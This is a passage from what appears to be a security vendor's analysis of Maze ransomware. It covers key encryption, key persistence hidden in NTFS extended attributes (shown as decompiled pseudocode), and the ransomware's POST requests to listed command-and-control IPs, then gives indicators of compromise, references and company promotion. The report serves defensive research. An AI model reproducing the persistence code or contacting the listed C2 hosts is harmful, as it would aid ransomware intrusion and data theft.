EexyTPblCjM1w6cWlaVjX0Nv4HrufxumWTzeGcsTwCH8uFEtso07u5WUxQ7zGIMFV0j9TA
...
bgBkAG8AdwBzACAANwAgAFAAcgBvAGYAZQBzAHMAaQBvAG4AYQBsAAAAQih8AEMAXwBGAF
8AMgAxADgANgA1ADQALwAyADYAMgAwADQAMQB8AAAASABQQFiJCGCJCGiJCHDb5UV4C4AB
---END MAZE KEY---
```

The malware authors maintain possession of the "master" private key, needed to decrypt computer keys and files. File decryption can be performed only if this private key is leaked or obtained otherwise. Factorizing the master private key from the public key is not practical, because of the key size.

Key persistence

Using another interesting trick, encrypted computer keys are hidden inside NTFS metadata, by using <u>Extended</u> <u>Attributes</u>. An empty file is created, %ProgramData%\0x29A.db and a custom extended attribute named KREMEZ is set to that file, using NtQueryEaFile, NtSetEaFile functions:

```
if ( !j_SHGetFolderPathW(0, CSIDL_COMMON_APPDATA, 0, 0, this + 2) )
{
  j_lstrcatW(fileName + 2, a0x29aDb);
  // get keys from EA of C:\ProgramData\0x29A.db
  if ( GetCachedInfoFromEaFile(fileName, (int)pubKey, (int)encPrivKey) )
      goto LABEL 9;
}
v9 = 0;
// generate new computer keypair
if ( GenerateRSAKeys((DWORD *)&privKey, pubKey) )
{
  // encrypt computer private key with master public key
  if ( !EncryptChaChaRsa((int)&privKey, (int)encPrivKey) )
    goto LABEL 10;
  v6 = a4;
  // verify key length
  if ( pubKey[1] == 0x114 )
  {
    // add encrypted private key to data
    MemCpy((unsigned int)eaData, (unsigned int)encPrivKey, 0x694u);
```

```
// add plaintext public key to data
MemCpy((unsigned int)&eaData[1684], *pubKey, 0x114u);
// persist data to EA of 0x29A.db file
WriteCacheInfoToEaFile(fileName, (BYTE *)eaData);
}
[...]
// destroy computer private key
v10 = privKey;
if ( privKey )
FREE MEM(v10);
```

The data can be technically retrieved using public <u>NTFS EA extraction tools</u>, but is unusable without the master private key.

Network connections

Besides scanning network shares, the malware tries to connect to several <u>C2 hosts</u> for further instructions and possible data exfiltration. The list of contacted hosts was found encrypted in the binary, all IPs located in the Russian Federation.

The target URL contains one IP from the list, random English words and extensions like php or asp. We have seen the following outbound connections from this sample:

```
POST http://91.218.114.4/withdrawal/jfmd.do
POST http://91.218.114.11/view/messages/ugihhabxg.jspx?ar=01868b71x
POST http://91.218.114.25/ex.action?gd=v5qh8a
POST http://91.218.114.26/post/account/eifxupy.aspx?e=p45ph1k&xen=j030&jxq=x&qe=4h78
POST http://91.218.114.31/lecfefe.jsp?ac=uqt38c3
POST http://91.218.114.32/rcqncstrcq.asp?xa=u&hgnt=883&e=y0hpt3n06c&a=e
POST http://91.218.114.37/support/check/is.aspx?y=ndf
POST http://91.218.114.38/aixffpqds.html?hdnw=721r15&es=lwm7u8&tulq=6a43xi8
POST http://91.218.114.77/news/withdrawal/iku.jspx
POST http://91.218.114.79/sepa/ticket/idjyo.jspx?eri=wfb6bb2sr
```

The data sent to the c2 hosts is the computer fingerprint described at the beginning of this chapter, and looks like this, before encryption:

12938e04ce69e222 Username MACHINE-NAME none Windows Name |\\remote-host\shared-folder| |X_X_0/0|X_F_11111/22222|D_X_0/0 |X_X_111111/444444|

Indicators of compromise

An up-to-date list of indicators of compromise is available to Bitdefender Advanced Threat Intelligence users. More information about the program is available at https://www.bitdefender.com/oem/advanced-threat-intelligence.html.

- Main executable sample: e69a8eb94f65480980deaf1ff5a431a6
- CVE-2016-7255 exploit dll, 32-bit: 0e6552c7590de315878f73346f482b14
- CVE-2016-7255 exploit dll, 64-bit: 79abd17391adc6251ecdc58d13d76baf
- CVE-2018-8453 exploit shellcode, 32/64: 443f39b28a5b2434f1985f2fc43dc034
- Contacted C2 hosts:

91.218.114.4 91.218.114.11 91.218.114.25 91.218.114.26 91.218.114.31 91.218.114.32 91.218.114.37 91.218.114.38 91.218.114.77 91.218.114.79

References

- IDA disassembler: https://en.wikipedia.org/wiki/Interactive_Disassembler
- HC-128 algorithm: https://www.esat.kuleuven.be/cosic/publications/article-1332.pdf
- PE reflection: https://www.dc414.org/wp-content/uploads/2011/01/242.pdf
- Transparent Deobfuscation With IDA Processor Module Extensions, Jun 2015, Rolf Rolles: <u>https://www.msreverseengineering.com/blog/2015/6/29/transparent-deobfuscation-with-ida-processor-module-extensions</u>
- Spaghetti code: <u>https://en.wikipedia.org/wiki/Spaghetti_code</u>
- ADLER-32 checksum: https://en.wikipedia.org/wiki/Adler-32
- Microsoft advisory CVE-2016-7255: <u>https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2016-7255</u>
- One Bit To Rule A System: Analyzing CVE-2016-7255 Exploit In The Wild, Dec 2016, Jack Tang: https://blog.trendmicro.com/trendlabs-security-intelligence/one-bit-rule-system-analyzing-cve-2016-7255-exploit-wild/
- Digging Into a Windows Kernel Privilege Escalation Vulnerability: CVE-2016-7255, Dec 2016, Stanley Zhu: https://www.mcafee.com/blogs/other-blogs/mcafee-labs/digging-windows-kernel-privilege-escalation-vulnerability-cve-2016-7255/



- WoW64: https://en.wikipedia.org/wiki/WoW64
- ChaCha algorithm: https://en.wikipedia.org/wiki/Salsa20#ChaCha_variant
- WoW64 Heaven's Gate: https://www.malwaretech.com/2014/02/the-0x33-segment-selector-heavens-gate.html
- System call: <u>https://en.wikipedia.org/wiki/System_call</u>
- EPROCESS structure: https://www.nirsoft.net/kernel_struct/vista/EPROCESS.html
- Microsoft advisory CVE-2018-8453: <u>https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8453</u>
- From patch diff to EXP, CVE-2018-8453 vulnerability analysis and exploitation, [Part 1], Jan 2019, ze0r @ 360A-TEAM: <u>https://mp.weixin.qq.com/s/ogKCo-Jp8vc7otXyu6fTig</u>
- Zero-day exploit (CVE-2018-8453) used in targeted attacks, Oct 2018, AMR, Kaspersky: <u>https://securelist.com/cve-2018-8453-used-in-targeted-attacks/88151/</u>
- CVE-2018-8453
 Win32k Elevation of Privilege Vulnerability Targeting the Middle East, Qi Anxin: https://ti.360.net/blog/articles/cve-2018-8453-win32k-elevation-of-privilege-vulnerability-targeting-the-middle-east-en/
- Computing fingerprint: https://en.wikipedia.org/wiki/Fingerprint_(computing)
- Mutex object: https://docs.microsoft.com/en-us/windows/win32/sync/mutex-objects
- Machine role: <u>https://docs.microsoft.com/en-us/windows/win32/api/dsrole/ne-dsrole-dsrole_machine_role</u>
- Windows backup, shadow copy: https://en.wikipedia.org/wiki/Shadow_Copy
- Windows Management Instrumentation: https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-start-page
- Windows file sharing: https://support.microsoft.com/en-us/help/4092694/windows-10-file-sharing-over-a-network
- Data exfiltration: https://en.wikipedia.org/wiki/Data_exfiltration
- Pseudo-random number generator: https://en.wikipedia.org/wiki/Pseudorandom_number_generator
- Microsoft crypto API: <u>https://en.wikipedia.org/wiki/Microsoft_CryptoAPI</u>
- RSA algorithm: https://en.wikipedia.org/wiki/RSA_(cryptosystem)
- RSA encryption provider: https://docs.microsoft.com/en-us/windows/win32/seccrypto/prov-rsa-full
- Base64 encoding: https://en.wikipedia.org/wiki/Base64
- NTFS extended attributes: <u>https://attack.mitre.org/techniques/T1096/</u>
- Tools for analysis and manipulation of extended attribute (\$EA) on NTFS, Joakim Schicht: <u>https://github.com/jschicht/EaTools</u>
- Command and Control services: https://en.wikipedia.org/wiki/Botnet#Command_and_control

Why Bitdefender

Proudly Serving Our Customers

Bitdefender provides solutions and services for small business and medium enterprises, service providers and technology integrators. We take pride in the trust that enterprises such as Mentor, Honeywell, Yamaha, Speedway, Esurance or Safe Systems place in us.

Leader in Forrester's inaugural Wave™ for Cloud Workload Security

NSS Labs "Recommended" Rating in the NSS Labs AEP Group Test

SC Media Industry Innovator Award for Hypervisor Introspection, 2nd Year in a Row

Gartner® Representative Vendor of Cloud-Workload Protection Platforms

Dedicated To Our +20.000 Worldwide Partners

A channel-exclusive vendor, Bitdefender is proud to share success with tens of thousands of resellers and distributors worldwide.

CRN 5-Star Partner, 4th Year in a Row. Recognized on CRN's Security 100 List. CRN Cloud Partner, 2nd year in a Row

More MSP-integrated solutions than any other security vendor

3 Bitdefender Partner Programs - to enable all our partners – resellers, service providers and hybrid partners - to focus on selling Bitdefender solutions that match their own specializations

Trusted Security Authority Bitdefender is a proud technology alliance partner to major virtualization vendors, directly contributing to the development of secure ecosystems with VMware, Nutanix, Citrix, Linux Foundation, Microsoft, AWS, and Pivotal.

Through its leading forensics team, Bitdefender is also actively engaged in countering international cybercrime together with major law enforcement agencies such as FBI and Europol, in initiatives such as NoMoreRansom and TechAccord, as well as the takedown of black markets such as Hansa. Starting in 2019, Bitdefender is also a proudly appointed CVE Numbering Authority in MITRE Partnership.

RECOGNIZED BY LEADING ANALYSTS AND INDEPENDENT TESTING ORGANIZATIONS

CRN ALTEST M Gallmer Classics (Common IC)C.

TECHNOLOGY ALLIANCES

Bitdefender

Founded 2001, Romania Number of employees 1800+

Headquarters

Enterprise HQ – Santa Clara, CA, United States Technology HQ – Bucharest, Romania

WORLDWIDE OFFICES

USA & Canada: Ft. Lauderdale, FL | Santa Clara, CA | San Antonio, TX | Toronto, CA

Europe: Copenhagen, DENMARK | Paris, FRANCE | München, GERMANY | Milan, ITALY | Bucharest, Iasi, Cluj, Timisoara, ROMANIA | Barcelona, SPAIN | Dubai, UAE | London, UK | Hague, NETHERLANDS Australia: Sydney, Melbourne

UNDER THE SIGN OF THE WOLF

5